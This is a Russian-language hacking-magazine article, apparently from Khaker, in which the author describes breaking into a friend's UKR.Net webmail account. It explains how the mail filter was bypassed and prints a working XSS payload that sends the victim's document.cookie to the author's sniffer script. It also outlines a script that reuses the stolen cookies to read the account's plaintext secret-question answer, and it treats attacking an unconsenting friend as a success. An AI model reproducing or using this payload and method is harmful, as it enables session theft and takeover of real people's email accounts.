UKR.Net и не будет! PinkPanther Хакер, номер #087, стр. 087-086-2 Как видишь, фильтры почтовика были настроены на поиск таких слов, как style и javascript, и к ним приклеивалась буква «х». Остроумно до ужаса. Однако надо отдать должное моим родителям: я с детства довольно шутсро соображаю, поэтому быстро нашел решение, которое оказалось более чем элементарным. Чтобы лучше понять суть данного обхода фильтров, советую прочитать отчетик небезызвестного Майора: http://forum.antichat.ru/thread8919.html. Вот примерно по тому же принципу я преобразовал часть слова javascript в 10-ричную кодировку и получил javascript. А с обходом фильтра на слово style вышло вообще забавно. Нужно было просто убрать пробел перед style, и уже после этого их хваленый парсер, ничего не замечая, пропускал « style» как «style». В итоге, исходный XSS-сплоит стал выглядеть так: <img src="http://privatesniff/1.gif"style="background:white url(javascript:document.images[0].src='http:// privatesniff/s.php?'+document.cookie)"> Все прокатило! Скрипт отлично работал в тылу врага! Теперь расскажу, что же выступало у меня под s.php. Как и следовало бы ожидать, это обыкновенный php-скрипт, который записывает в файл передеваемые GET-параметры. Код такого скрипта мы уже приводили десятки раз, но и в этот раз его на всякий случаей напечатаем. Благо он совсем небольшой :). Если же самому неохота думать над сниффером, тогда тебе сюда: http://antichat.ru/sniff. проведенная атака и первый облом Итак, я составил ядовитую конструкцию и послал ее приятелю. Друзья всегда открывают письма друзей. Отправлял я с одного из своих аккаунтов на рамблере, не забыв при этом выставить опцию отправки в виде html (это очень важно). Все прошло успешно. Осел моего кореша захавал XSS`ку, и на снифере я получил вроде бы то, что хотел (смотри врезку). Куки, как ты видишь, меня, мягко говоря, обломали, так как пароля там не было, то есть мой кореш не воспользовался запоминанием пароля. Авторизироваться же под полученными куками было уже невозможно, ведь сессия, как я увидел по логу, закончилась несколько часов назад. Да, не успел :(. После этого облома у меня созрела идея пойти другим путем. функциональный снифер На сегодняшний день функциональный снифер считается очень прогрессивной технологией, но, не смотря на это, упоминание о нем я все же встречаю не часто. Для лучшего понимания технологии советую посетить ссылки во врезке, а пока что разберемся с нашим случаем. Сначала все по порядку. Я заглянул в свой fackdahack@ukr.net и полез в пункт «Настройки» --> «Личная информация». Ну что, понял, что я имею в виду? Нет? Хм…ну да ладно, обрати внимание на поле «Правильный ответ», а ведь это не что иное, как ответ на мой секретный вопрос. Да-да, в открытом виде! Мало того, доступен для чтения без запроса пароля. Смешно. Хочу заметить, что таракану лет сто в обед уже будет, я даже не ожидал его тут найти, однако вот такие у нас админы, на постсоветском пространстве. Так вот, задача функционального снифера в данном случае как раз и заключается в том, чтоб этот ответ на секретный вопрос украсть. Этот скрипт принимает куки, присланные на него XSS-сплоитом, авторизируется под ними, заходит на страницу личных настроек, считывает ответ на секретный вопрос. После снифер сохраняет его в лог-файл answer.html. |